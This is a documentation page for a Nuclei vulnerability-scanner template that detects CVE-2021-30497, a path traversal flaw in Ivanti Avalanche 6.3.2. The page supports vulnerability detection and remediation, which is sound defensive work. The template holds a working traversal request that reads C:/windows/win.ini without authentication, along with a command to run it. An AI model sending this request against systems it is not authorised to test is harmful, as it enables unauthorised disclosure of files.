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Nuclei Templates

Ivanti Avalanche 6.3.2 - Local File Inclusion

ID: CVE-2021-30497

Severity: high

Author: gy741

Tags: cve2021,cve,avalanche,traversal,lfi,ivanti,windows

Description

Section titled “Description”

Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the ‘image’ folder.

YAML Source

Section titled “YAML Source”
id: CVE-2021-30497


info:
  name: Ivanti Avalanche 6.3.2 - Local File Inclusion
  author: gy741
  severity: high
  description: Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the 'image' folder.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the LFI vulnerability in Avalanche 6.3.2.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/
    - https://forums.ivanti.com/s/article/Security-Alert-CVE-2021-30497-Directory-Traversal-Vulnerability?language=en_US
    - https://help.ivanti.com/wl/help/en_us/aod/5.4/Avalanche/Console/Launching_the_Avalanche.htm
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30497
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-30497
    cwe-id: CWE-22
    epss-score: 0.95082
    epss-percentile: 0.99313
    cpe: cpe:2.3:a:ivanti:avalanche:6.3.2:*:*:*:*:windows:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: avalanche
    framework: windows
  tags: cve2021,cve,avalanche,traversal,lfi,ivanti,windows


http:
  - method: GET
    path:
      - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022000d58ac11ac17f45acca28377cde7275a6504b23abcca73299552e49c9eb833a022100c74bc22f79db209ea6f08a242a608cbe2e1b28ac5eec2151ad1ed92aadf8ca5c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-30497.yaml"

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